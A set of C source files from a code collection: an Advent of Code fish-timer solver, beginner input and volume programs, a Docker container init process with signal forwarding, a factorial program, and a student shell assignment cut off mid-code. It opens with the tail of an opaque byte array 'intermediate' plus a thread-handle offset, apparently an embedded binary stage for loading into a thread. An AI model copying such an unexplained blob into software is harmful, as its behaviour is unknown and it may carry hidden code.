0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x09, 0xd4,
0xb0, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x01, 0x00,
0xb0, 0x00, 0x02, 0x00,
0x00, 0x01, 0x04, 0xa8,
0x00, 0x01, 0x01, 0xa8,
0x00, 0x01, 0x01, 0xc8,
0x00, 0x01, 0x01, 0xe8,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xff, 0x6c,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x05, 0x98,
0x00, 0x01, 0x05, 0x98,
0x00, 0x01, 0x05, 0xa0,
0x00, 0x01, 0x05, 0xa0,
0x00, 0x01, 0x05, 0xa8,
0x00, 0x01, 0x05, 0xa8,
0x00, 0x01, 0x05, 0xb0,
0x00, 0x01, 0x05, 0xb0,
0x00, 0x01, 0x05, 0xb8,
0x00, 0x01, 0x05, 0xb8,
0x00, 0x01, 0x05, 0xc0,
0x00, 0x01, 0x05, 0xc0,
0x00, 0x01, 0x05, 0xc8,
0x00, 0x01, 0x05, 0xc8,
0x00, 0x01, 0x05, 0xd0,
0x00, 0x01, 0x05, 0xd0,
0x00, 0x01, 0x05, 0xd8,
0x00, 0x01, 0x05, 0xd8,
0x00, 0x01, 0x05, 0xe0,
0x00, 0x01, 0x05, 0xe0,
0x00, 0x01, 0x05, 0xe8,
0x00, 0x01, 0x05, 0xe8,
0x00, 0x01, 0x05, 0xf0,
0x00, 0x01, 0x05, 0xf0,
0x00, 0x01, 0x05, 0xf8,
0x00, 0x01, 0x05, 0xf8,
0x00, 0x01, 0x06, 0x00,
0x00, 0x01, 0x06, 0x00,
0x00, 0x01, 0x06, 0x08,
0x00, 0x01, 0x06, 0x08,
0x00, 0x01, 0x06, 0x10,
0x00, 0x01, 0x06, 0x10,
0x00, 0x01, 0x06, 0x18,
0x00, 0x01, 0x06, 0x18,
0x00, 0x01, 0x06, 0x20,
0x00, 0x01, 0x06, 0x20,
0x00, 0x01, 0x06, 0x28,
0x00, 0x01, 0x06, 0x28,
0x00, 0x01, 0x06, 0x30,
0x00, 0x01, 0x06, 0x30,
0x00, 0x01, 0x06, 0x38,
0x00, 0x01, 0x06, 0x38,
0x00, 0x01, 0x06, 0x40,
0x00, 0x01, 0x06, 0x40,
0x00, 0x01, 0x06, 0x48,
0x00, 0x01, 0x06, 0x48,
0x00, 0x01, 0x06, 0x50,
0x00, 0x01, 0x06, 0x50,
0x00, 0x01, 0x06, 0x58,
0x00, 0x01, 0x06, 0x58,
0x00, 0x01, 0x06, 0x60,
0x00, 0x01, 0x06, 0x60,
0x00, 0x01, 0x06, 0x68,
0x00, 0x01, 0x06, 0x68,
0x00, 0x01, 0x06, 0x70,
0x00, 0x01, 0x06, 0x70,
0x00, 0x01, 0x06, 0x78,
0x00, 0x01, 0x06, 0x78,
0x00, 0x01, 0x06, 0x80,
0x00, 0x01, 0x06, 0x80,
0x00, 0x01, 0x06, 0x88,
0x00, 0x01, 0x06, 0x88,
0x00, 0x01, 0x06, 0x90,
0x00, 0x01, 0x06, 0x90,
0x00, 0x01, 0x06, 0x98,
0x00, 0x01, 0x06, 0x98,
0x00, 0x01, 0x06, 0xa0,
0x00, 0x01, 0x06, 0xa0,
0x00, 0x01, 0x06, 0xa8,
0x00, 0x01, 0x06, 0xa8,
0x00, 0x01, 0x06, 0xb0,
0x00, 0x01, 0x06, 0xb0,
0x00, 0x01, 0x06, 0xb8,
0x00, 0x01, 0x06, 0xb8,
0x00, 0x01, 0x06, 0xc0,
0x00, 0x01, 0x06, 0xc0,
0x00, 0x01, 0x06, 0xc8,
0x00, 0x01, 0x06, 0xc8,
0x00, 0x01, 0x06, 0xd0,
0x00, 0x01, 0x06, 0xd0,
0x00, 0x01, 0x06, 0xd8,
0x00, 0x01, 0x06, 0xd8,
0x00, 0x01, 0x06, 0xe0,
0x00, 0x01, 0x06, 0xe0,
0x00, 0x01, 0x06, 0xe8,
0x00, 0x01, 0x06, 0xe8,
0x00, 0x01, 0x06, 0xf0,
0x00, 0x01, 0x06, 0xf0,
0x00, 0x01, 0x06, 0xf8,
0x00, 0x01, 0x06, 0xf8,
0x00, 0x01, 0x07, 0x00,
0x00, 0x01, 0x07, 0x00,
0x00, 0x01, 0x07, 0x08,
0x00, 0x01, 0x07, 0x08,
0x00, 0x01, 0x07, 0x10,
0x00, 0x01, 0x07, 0x10,
0x00, 0x01, 0x07, 0x18,
0x00, 0x01, 0x07, 0x18,
0x00, 0x01, 0x07, 0x20,
0x00, 0x01, 0x07, 0x20,
0x00, 0x01, 0x07, 0x28,
0x00, 0x01, 0x07, 0x28,
0x00, 0x01, 0x07, 0x30,
0x00, 0x01, 0x07, 0x30,
0x00, 0x01, 0x07, 0x38,
0x00, 0x01, 0x07, 0x38,
0x00, 0x01, 0x07, 0x40,
0x00, 0x01, 0x07, 0x40,
0x00, 0x01, 0x07, 0x48,
0x00, 0x01, 0x07, 0x48,
0x00, 0x01, 0x07, 0x50,
0x00, 0x01, 0x07, 0x50,
0x00, 0x01, 0x07, 0x58,
0x00, 0x01, 0x07, 0x58,
0x00, 0x01, 0x07, 0x60,
0x00, 0x01, 0x07, 0x60,
0x00, 0x01, 0x07, 0x68,
0x00, 0x01, 0x07, 0x68,
0x00, 0x01, 0x07, 0x70,
0x00, 0x01, 0x07, 0x70,
0x00, 0x01, 0x07, 0x78,
0x00, 0x01, 0x07, 0x78,
0x00, 0x01, 0x07, 0x80,
0x00, 0x01, 0x07, 0x80,
0x00, 0x01, 0x07, 0x88,
0x00, 0x01, 0x07, 0x88,
0x00, 0x01, 0x07, 0x90,
0x00, 0x01, 0x07, 0x90,
0x00, 0x01, 0x07, 0x98,
0x00, 0x01, 0x07, 0x98,
0x00, 0x01, 0x07, 0xa0,
0x00, 0x01, 0x07, 0xa0,
0x00, 0x01, 0x07, 0xa8,
0x00, 0x01, 0x07, 0xa8,
0x00, 0x01, 0x07, 0xb0,
0x00, 0x01, 0x07, 0xb0,
0x00, 0x01, 0x07, 0xb8,
0x00, 0x01, 0x07, 0xb8,
0x00, 0x01, 0x07, 0xc0,
0x00, 0x01, 0x07, 0xc0,
0x00, 0x01, 0x07, 0xc8,
0x00, 0x01, 0x07, 0xc8,
0x00, 0x01, 0x07, 0xd0,
0x00, 0x01, 0x07, 0xd0,
0x00, 0x01, 0x07, 0xd8,
0x00, 0x01, 0x07, 0xd8,
0x00, 0x01, 0x07, 0xe0,
0x00, 0x01, 0x07, 0xe0,
0x00, 0x01, 0x07, 0xe8,
0x00, 0x01, 0x07, 0xe8,
0x00, 0x01, 0x07, 0xf0,
0x00, 0x01, 0x07, 0xf0,
0x00, 0x01, 0x07, 0xf8,
0x00, 0x01, 0x07, 0xf8,
0x00, 0x01, 0x08, 0x00,
0x00, 0x01, 0x08, 0x00,
0x00, 0x01, 0x08, 0x08,
0x00, 0x01, 0x08, 0x08,
0x00, 0x01, 0x08, 0x10,
0x00, 0x01, 0x08, 0x10,
0x00, 0x01, 0x08, 0x18,
0x00, 0x01, 0x08, 0x18,
0x00, 0x01, 0x08, 0x20,
0x00, 0x01, 0x08, 0x20,
0x00, 0x01, 0x08, 0x28,
0x00, 0x01, 0x08, 0x28,
0x00, 0x01, 0x08, 0x30,
0x00, 0x01, 0x08, 0x30,
0x00, 0x01, 0x08, 0x38,
0x00, 0x01, 0x08, 0x38,
0x00, 0x01, 0x08, 0x40,
0x00, 0x01, 0x08, 0x40,
0x00, 0x01, 0x08, 0x48,
0x00, 0x01, 0x08, 0x48,
0x00, 0x01, 0x08, 0x50,
0x00, 0x01, 0x08, 0x50,
0x00, 0x01, 0x08, 0x58,
0x00, 0x01, 0x08, 0x58,
0x00, 0x01, 0x08, 0x60,
0x00, 0x01, 0x08, 0x60,
0x00, 0x01, 0x08, 0x68,
0x00, 0x01, 0x08, 0x68,
0x00, 0x01, 0x08, 0x70,
0x00, 0x01, 0x08, 0x70,
0x00, 0x01, 0x08, 0x78,
0x00, 0x01, 0x08, 0x78,
0x00, 0x01, 0x08, 0x80,
0x00, 0x01, 0x08, 0x80,
0x00, 0x01, 0x08, 0x88,
0x00, 0x01, 0x08, 0x88,
0x00, 0x01, 0x08, 0x90,
0x00, 0x01, 0x08, 0x90,
0x00, 0x01, 0x08, 0x98,
0x00, 0x01, 0x08, 0x98,
0x00, 0x01, 0x08, 0xa0,
0x00, 0x01, 0x08, 0xa0,
0x00, 0x01, 0x08, 0xa8,
0x00, 0x01, 0x08, 0xa8,
0x00, 0x01, 0x08, 0xb0,
0x00, 0x01, 0x08, 0xb0,
0x00, 0x01, 0x08, 0xb8,
0x00, 0x01, 0x08, 0xb8,
0x00, 0x01, 0x08, 0xc0,
0x00, 0x01, 0x08, 0xc0,
0x00, 0x01, 0x08, 0xc8,
0x00, 0x01, 0x08, 0xc8,
0x00, 0x01, 0x08, 0xd0,
0x00, 0x01, 0x08, 0xd0,
0x00, 0x01, 0x08, 0xd8,
0x00, 0x01, 0x08, 0xd8,
0x00, 0x01, 0x08, 0xe0,
0x00, 0x01, 0x08, 0xe0,
0x00, 0x01, 0x08, 0xe8,
0x00, 0x01, 0x08, 0xe8,
0x00, 0x01, 0x08, 0xf0,
0x00, 0x01, 0x08, 0xf0,
0x00, 0x01, 0x08, 0xf8,
0x00, 0x01, 0x08, 0xf8,
0x00, 0x01, 0x09, 0x00,
0x00, 0x01, 0x09, 0x00,
0x00, 0x01, 0x09, 0x08,
0x00, 0x01, 0x09, 0x08,
0x00, 0x01, 0x09, 0x10,
0x00, 0x01, 0x09, 0x10,
0x00, 0x01, 0x09, 0x18,
0x00, 0x01, 0x09, 0x18,
0x00, 0x01, 0x09, 0x20,
0x00, 0x01, 0x09, 0x20,
0x00, 0x01, 0x09, 0x28,
0x00, 0x01, 0x09, 0x28,
0x00, 0x01, 0x09, 0x30,
0x00, 0x01, 0x09, 0x30,
0x00, 0x01, 0x09, 0x38,
0x00, 0x01, 0x09, 0x38,
0x00, 0x01, 0x09, 0x40,
0x00, 0x01, 0x09, 0x40,
0x00, 0x01, 0x09, 0x48,
0x00, 0x01, 0x09, 0x48,
0x00, 0x01, 0x09, 0x50,
0x00, 0x01, 0x09, 0x50,
0x00, 0x01, 0x09, 0x58,
0x00, 0x01, 0x09, 0x58,
0x00, 0x01, 0x09, 0x60,
0x00, 0x01, 0x09, 0x60,
0x00, 0x01, 0x09, 0x68,
0x00, 0x01, 0x09, 0x68,
0x00, 0x01, 0x09, 0x70,
0x00, 0x01, 0x09, 0x70,
0x00, 0x01, 0x09, 0x78,
0x00, 0x01, 0x09, 0x78,
0x00, 0x01, 0x09, 0x80,
0x00, 0x01, 0x09, 0x80,
0x00, 0x01, 0x09, 0x88,
0x00, 0x01, 0x09, 0x88,
0x00, 0x01, 0x09, 0x90,
0x00, 0x01, 0x09, 0x90,
0x00, 0x02, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x01,
0x43, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xfd, 0xac,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
unsigned int intermediate_len = 68064;
unsigned int thread_handle_offset = 0x0000026c;
// Code to copy:
//extern unsigned int thread_handle_offset;
//extern unsigned char intermediate[];
//unsigned int thread_handle = (thread_handle_offset) + (unsigned int)(&intermediate);
|
the_stack_data/369542.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SHORT_INPUT "d06_short_input"
#define INPUT "d06_input"
void print_timers(int* timers);
void table();
int sum(int* timers);
int main(int ac) {
int input = ac > 1;
FILE *fp = fopen(input ? INPUT : SHORT_INPUT, "r");
if (fp == NULL) {
printf("cant read file\n");
return 1;
}
/*
idea:
have a 10 element array that keeps the number of
fish for each timer level
10nth is for the timer 8 to wait a day
*/
int timers[10] = {0};
int n;
while (1) {
fscanf(fp, "%i", &n);
timers[n]++;
if (fgetc(fp) == EOF) break;
}
// table();
int days = 80;
for (int day = 1; day <= days; day++) {
for (int i = 0; i < 10; i++) {
if (timers[i] == 0) continue;
if (i == 0) {
timers[6+1] += timers[0];
timers[8+1] += timers[0];
timers[0] = 0;
} else {
timers[i-1] += timers[i];;
timers[i] = 0;
}
}
// printf("after %i days: ", day);
// print_timers(timers);
}
int ans = sum(timers);
printf("answer = %i\n", ans);
}
int sum(int* timers) {
int sum = 0;
for (int i = 0; i < 9; i++) {
sum += timers[i];
}
return sum;
}
void print_timers(int* timers) {
for (int i = 0; i < 9; i++) {
printf("%3i ", timers[i]);
}
printf("\n");
}
void table(){
printf(" 0 1 2 3 4 5 6 7 8\n");
printf("-------------------------------------------------\n");
} |
the_stack_data/129710.c | /*
Write a program to read the length, breadth and height
of a pond and calculate its volume.
*/
#include <stdio.h>
int main() {
int l,b,h,volume;
printf("Enter the length, breadth and height of a pond respectively: \n");
printf("Length: \t");
scanf("%d", &l);
printf("Breadth: \t");
scanf("%d", &b);
printf("Height: \t");
scanf("%d", &h);
volume = l * b * h;
printf("The volume of a pond is: %d \n", volume);
return 0;
} |
the_stack_data/128498.c | // input.c -- when to use &
#include <stdio.h>
int main(void)
{
int age; // variable
float assets; // variable
char pet[30]; // character array, used to store character string
printf("Enter your age, assets, and favorite pet.\n");
scanf("%d %f", &age, &assets); // here you must use &
scanf("%s", pet); // character array needn't &
printf("%d $%.2f %s\n", age, assets, pet);
return 0;
}
|
the_stack_data/20129.c | #define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#define LOG_ERROR(fmt, ...) if (opt_verbosity >= 0) { fprintf(stderr, "[ERROR][docker-container-init] " fmt "\n", ## __VA_ARGS__); }
#define LOG_PERROR(fmt, ...) if (opt_verbosity >= 0) { fprintf(stderr, "[ERROR][docker-container-init] " fmt " [errno=%d] %s\n", \
## __VA_ARGS__, errno, strerror(errno)); }
#define LOG_INFO(fmt, ...) if (opt_verbosity >= 1) { fprintf(stderr, "[INFO][docker-container-init] " fmt "\n", ## __VA_ARGS__); }
#define LOG_DEBUG(fmt, ...) if (opt_verbosity >= 2) { fprintf(stderr, "[DEBUG][docker-container-init] " fmt "\n", ## __VA_ARGS__); }
#define ARRAY_LEN(arr) (sizeof(arr) / sizeof(arr[0]))
typedef enum { false, true } bool;
// Program state
sigset_t used_sigmask, orig_sigmask;
// If subproc_pid > 0 then a subprocess is running.
pid_t subproc_pid = 0;
// This exitcode that will be returned by this init program.
int exitcode = 0;
// true if we have received at least one SIGTERM or SIGINT.
bool exit_signal_received = false;
// NULL if the user hasn't specified a subprocess on the commandline
char** subproc_argv = NULL;
// Commandline args
bool opt_wait_for_children = true;
bool opt_broadcast_sigterm_before_wait = true;
bool opt_create_subproc_group = false;
bool opt_forward_realtime_signals = false;
bool opt_exit_on_sigint = true;
bool opt_check_pid_1 = true;
int opt_verbosity = 0;
const char OPTIONS[] =
"Options:\n"
"-W Don't wait for all children (including inherited/orphaned ones) before\n"
" exit. This wait is performed after your command (if any) has exited.\n"
"-B Don't broadcast a sigterm before waiting for all children.\n"
" This option is ignored when -W is used.\n"
"-I Don't exit on SIGINT. Exit only on SIGTERM.\n"
" This option is ignored when you specify a command.\n"
"-g Run your command in its own process group and forward SIGTERM to the\n"
" group instead of the process created from your command.\n"
"-r Enable forwarding of realtime signals to the specified command.\n"
" Without this option we forward only some of the standard signals.\n"
"-D Don't check whether this process is running as pid 1.\n"
" Comes in handy for debugging.\n"
"-v Log a limited number of info messages to stderr.\n"
" Without -v we log only in case of errors.\n"
"-vv Spammy debug log level.\n"
"-h Print this help message.\n"
;
void print_help_exit(char* argv[]) {
printf("docker-container-init built on %s %s\n", __DATE__, __TIME__);
#if defined(VERSION)
printf("version %s\n", VERSION);
#endif
printf("\nUsage: %s [options] [--] [command]\n\n", argv[0]);
printf(OPTIONS);
exit(1);
}
bool parse_args(int argc, char* argv[]) {
opterr = 0;
int opt;
while ( (opt = getopt(argc, argv, "+hWBIgrDv")) != -1 ) {
switch (opt) {
case 'h':
print_help_exit(argv);
break;
case 'W':
opt_wait_for_children = false;
break;
case 'B':
opt_broadcast_sigterm_before_wait = false;
break;
case 'I':
opt_exit_on_sigint = false;
break;
case 'g':
opt_create_subproc_group = true;
break;
case 'r':
opt_forward_realtime_signals = true;
break;
case 'D':
opt_check_pid_1 = false;
break;
case 'v':
opt_verbosity++;
break;
case '?':
opt = optopt;
// no break
default:
// The switch jumps directly to default only if we specify an
// option in the optstring without a case in our switch statement.
fprintf(stderr, "Invalid option: -%c\n", opt);
print_help_exit(argv);
break;
}
}
if (argv[optind])
subproc_argv = &argv[optind];
return true;
}
int used_std_signals[] = { SIGHUP, SIGINT, SIGQUIT, SIGUSR1, SIGUSR2, SIGTERM, SIGCHLD };
bool setup_sigmask() {
sigemptyset(&used_sigmask);
// adding standard signals
for (size_t i=0; i<ARRAY_LEN(used_std_signals); i++)
sigaddset(&used_sigmask, used_std_signals[i]);
// adding realtime signals
if (opt_forward_realtime_signals) {
for (int signum=SIGRTMIN; signum<=SIGRTMAX; signum++)
sigaddset(&used_sigmask, signum);
}
if (sigprocmask(SIG_BLOCK, &used_sigmask, &orig_sigmask)) {
LOG_PERROR("sigprocmask failed.");
return false;
}
// We want to be able to write to the terminal even if a child process group
// gets into the foreground. Note that this mask is inherited by our subprocess
// and restored only after the call to tcsetpgrp(). This way tcsetpgrp() can
// succeed in the child process. For more info see the man page of tcsetpgrp.
sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGTTOU);
if (sigprocmask(SIG_BLOCK, &mask, NULL)) {
LOG_PERROR("sigprocmask failed.");
return false;
}
return true;
}
bool spawn_subproc() {
LOG_INFO("Spawning subprocess...");
subproc_pid = fork();
if (subproc_pid < 0) {
LOG_PERROR("fork failed.");
return false;
}
// parent
if (subproc_pid > 0)
return true;
// child
if (opt_create_subproc_group) {
if (setpgrp()) {
LOG_PERROR("Error creating process group: setpgrp failed (pid=%d)", (int)getpid());
exit(1);
}
if (tcsetpgrp(STDIN_FILENO, getpgrp()) && errno != ENOTTY) {
LOG_PERROR("tcsetpgrp failed. (pgid=%d)", (int)getpgrp());
exit(1);
}
}
// Restoring the sigprocmask only after the tcsetpgrp()
// call because that requires blocked SIGTTOU signal.
if (sigprocmask(SIG_SETMASK, &orig_sigmask, NULL)) {
LOG_PERROR("sigprocmask failed.");
return false;
}
execvp(subproc_argv[0], subproc_argv);
LOG_PERROR("execvp failed.");
exit(1);
}
// Returns true if there are no children.
bool reap_zombies_and_subproc() {
LOG_DEBUG("%s()", __FUNCTION__);
for (;;) {
int status;
pid_t pid = waitpid(-1, &status, WNOHANG);
LOG_DEBUG("waitpid finished. pid=%d errno=[%d] %s", (int)pid, errno, strerror(errno));
if (pid == 0)
return false;
if (pid < 0) {
if (errno != ECHILD)
LOG_PERROR("waitpid failed");
return true;
}
if (pid == subproc_pid) {
subproc_pid = 0;
if (WIFEXITED(status)) {
exitcode = WEXITSTATUS(status);
LOG_INFO("Subprocess (pid=%d) finished with exit code %d", (int)pid, exitcode);
} else if (WIFSIGNALED(status)) {
exitcode = 0x80 | WTERMSIG(status);
LOG_INFO("Subprocess (pid=%d) was killed by singal=%d", (int)pid, WTERMSIG(status));
} else {
exitcode = -1;
LOG_INFO("Subprocess (pid=%d) disappeared.", (int)pid);
}
}
}
}
bool step_check_subproc_finished(bool first_try) {
if (!subproc_argv)
return true;
if (first_try)
LOG_INFO("Waiting for subprocess (pid=%d) to finish...", (int)subproc_pid);
return subproc_pid <= 0;
}
bool step_check_exit_signal_received(bool first_try) {
if (subproc_argv)
// If we have a subprocess then the shutdown sequence is initiated by the
// exit of the subprocess and not directly by a signal (SIGTERM/SIGINT)
// sent to this process.
return true;
if (first_try)
LOG_INFO("Waiting for SIGTERM%s to exit...", opt_exit_on_sigint ? "/SIGINT" : "");
return exit_signal_received;
}
bool step_broadcast_sigterm(bool first_try) {
if (opt_wait_for_children && opt_broadcast_sigterm_before_wait) {
LOG_INFO("Broadcasting SIGTERM before waiting for children");
kill(-1, SIGTERM);
}
return true;
}
bool step_check_there_are_no_children(bool first_try) {
if (!opt_wait_for_children)
return true;
if (first_try)
LOG_INFO("Waiting for child processes to finish...");
return reap_zombies_and_subproc();
}
// fp_step() returns true if the step/check has passed. Otherwise we have to
// try the step/check again later after handling a meaningful signal that
// might have changed the state of our application.
typedef bool (*fp_step)(bool first_try);
const fp_step steps[] = {
step_check_subproc_finished,
step_check_exit_signal_received,
step_broadcast_sigterm,
step_check_there_are_no_children,
};
const size_t NUM_STEPS = ARRAY_LEN(steps);
// Returns true if this program has finished.
bool update_state() {
static size_t step_idx = 0;
static bool first_try = true;
while (step_idx < NUM_STEPS) {
LOG_DEBUG("trying step %d/%d (first_try=%d)", (int)step_idx+1, (int)NUM_STEPS, (int)first_try);
bool step_finished = steps[step_idx](first_try);
first_try = false;
if (!step_finished) {
// If step hasn't finished then we retry after the next signal.
LOG_DEBUG("step %d/%d hasn't finished, retrying later...", (int)step_idx+1, (int)NUM_STEPS);
return false;
}
LOG_DEBUG("finished step %d/%d", (int)step_idx+1, (int)NUM_STEPS);
// Resetting first_try for the next step.
first_try = true;
step_idx++;
}
return true;
}
void forward_signal(int signum) {
if (subproc_pid <= 0)
return;
LOG_DEBUG("Forwarding signal=%d (%s) to subprocess (pid=%d)", signum, strsignal(signum), (int)subproc_pid);
kill(subproc_pid, signum);
}
// Returns true if the handled signal might have an effect on the internal state of this program.
bool handle_signal(int signum) {
switch (signum) {
case SIGCHLD:
reap_zombies_and_subproc();
return true;
case SIGTERM:
LOG_INFO("Received SIGTERM");
if (subproc_pid > 0) {
if (opt_create_subproc_group) {
LOG_INFO("Forwarding SIGTERM to process group (pgid=%d)", (int)subproc_pid);
killpg(subproc_pid, SIGTERM);
} else {
forward_signal(signum);
}
}
exit_signal_received = true;
return true;
case SIGINT:
if (subproc_argv) {
forward_signal(signum);
} else if (opt_exit_on_sigint) {
exit_signal_received = true;
return true;
}
return false;
default:
forward_signal(signum);
return false;
}
}
// Handles signals in a loop but returns when it encounters a signal
// that might have an effect on the internal state of this program.
void wait_and_handle_signals() {
for (;;) {
LOG_DEBUG("Waiting for signal...");
int signum;
int err = sigwait(&used_sigmask, &signum);
if (err) {
LOG_ERROR("sigwait failed. [errno=%d] %s", errno, strerror(errno));
exit(1);
}
LOG_DEBUG("Received signal=%d (%s)", signum, strsignal(signum));
if (handle_signal(signum))
break;
}
}
bool init(int argc, char* argv[]) {
if (!parse_args(argc, argv))
return false;
if (opt_check_pid_1 && getpid() != 1) {
LOG_ERROR("You have to either run this as pid 1 or specify the -D option");
return false;
}
if (!setup_sigmask())
return false;
if (subproc_argv && !spawn_subproc())
return false;
return true;
}
int main(int argc, char* argv[]) {
if (!init(argc, argv))
return 1;
for (;;) {
if (update_state())
break;
wait_and_handle_signals();
}
LOG_INFO("Finished.");
return exitcode;
}
|
the_stack_data/125139379.c | /*
This program outputs the factorial of a number e.g. 5! = 5 * 4 * 3 * 2 * 1 = 120.
In general n! = n * n-1 * n-2* ... * 3 * 2 * 1
By: randerson112358
*/
# include<stdio.h>
int fact_recursive(int n);// This is a recursive factorial function
int fact_iterative(int n);// This is a iterative factorial function
int main(void)
{
int n;
printf("Enter a number: ");
scanf("%d", &n);
printf("%d! = %d\n", n, fact_iterative(n));
system("pause");
}
fact_recursive(int n)
{
//Base Case
if(n == 0)
return 1;
return n *fact_recursive(n-1);
}
int fact_iterative(int n)
{
int i;
int product = 1;
for(i = 1; i<= n; i++)
{
product = product * i;
}
return product;
}
|
the_stack_data/100140706.c | int arr[2] = { 1, 2 };
int *foo() {
return arr;
}
int main() {
int *a = foo();
return a[0] + a[1];
}
|
the_stack_data/148579059.c | /*
Name: Amay Kadakia
Id: 1001864606
*/
// The MIT License (MIT)
//
// Copyright (c) 2016, 2017, 2021 Trevor Bakker
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// 7f704d5f-9811-4b91-a918-57c1bb646b70
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#define WHITESPACE " \t\n" // We want to split our command line up into tokens
// so we need to define what delimits our tokens.
// In this case white space
// will separate the tokens on our command line
#define MAX_COMMAND_SIZE 255 // The maximum command-line size
#define MAX_NUM_ARGUMENTS 10 // Mav shell only supports ten arguments
int main()
{
char * cmd_str = (char*) malloc( MAX_COMMAND_SIZE );
int pids[256];
int p = 0;
char *history[15];
//paths
char path[] = "/usr/local/bin/";
char path_1[]= "/usr/bin/";
char path_2[]= "/bin/";
while( 1 )
{
// Print out the msh prompt
printf ("msh> ");
// Read the command from the commandline. The
// maximum command that will be read is MAX_COMMAND_SIZE
// This while command will wait here until the user
// inputs something since fgets returns NULL when there
// is no input
while( !fgets (cmd_str, MAX_COMMAND_SIZE, stdin) );
/* Parse input */
char *token[MAX_NUM_ARGUMENTS];
int token_count = 0;
// Pointer to point to the token
// parsed by strsep
char *argument_ptr;
char *working_str = strdup( cmd_str );
// we are going to move the working_str pointer so
// keep track of its original value so we can deallocate
// the correct amount at the end
char *working_root = working_str;
int history_count = 0;
// Tokenize the input strings with whitespace used as the delimiter
while ( ( (argument_ptr = strsep(&working_str, WHITESPACE ) ) != NULL) && (token_count<MAX_NUM_ARGUMENTS))
{
token[token_count] = strndup( argument_ptr, MAX_COMMAND_SIZE );
history[history_count] = token[token_count];
history_count++;
if( strlen( token[token_count] ) == 0 )
{
token[token_count] = NULL;
}
token_count++;
}
// Now print the tokenized input as a debug check
// \TODO Remove this code and replace with your shell functionality
//This for loops handles the exit/quit
int token_index = 0;
if(token[0] != 0)
{
//add the pid using getpid() function to pids aarray
pids[p] = getpid();
p++; //increase the p postion
int safe = 1;
//using strcmp to check if input = exit or quit to wxit the code with exit(0)
if ((strcmp(token[token_index],"exit")) == 0|| (strcmp(token[token_index],"quit")) == 0)
{
exit(0);
}
//using strcmp to check if input = cd to change the directory using chdir
if(strcmp(token[0], "cd") == 0 )
{
if(chdir(token[1]) >= 0){}
else
{
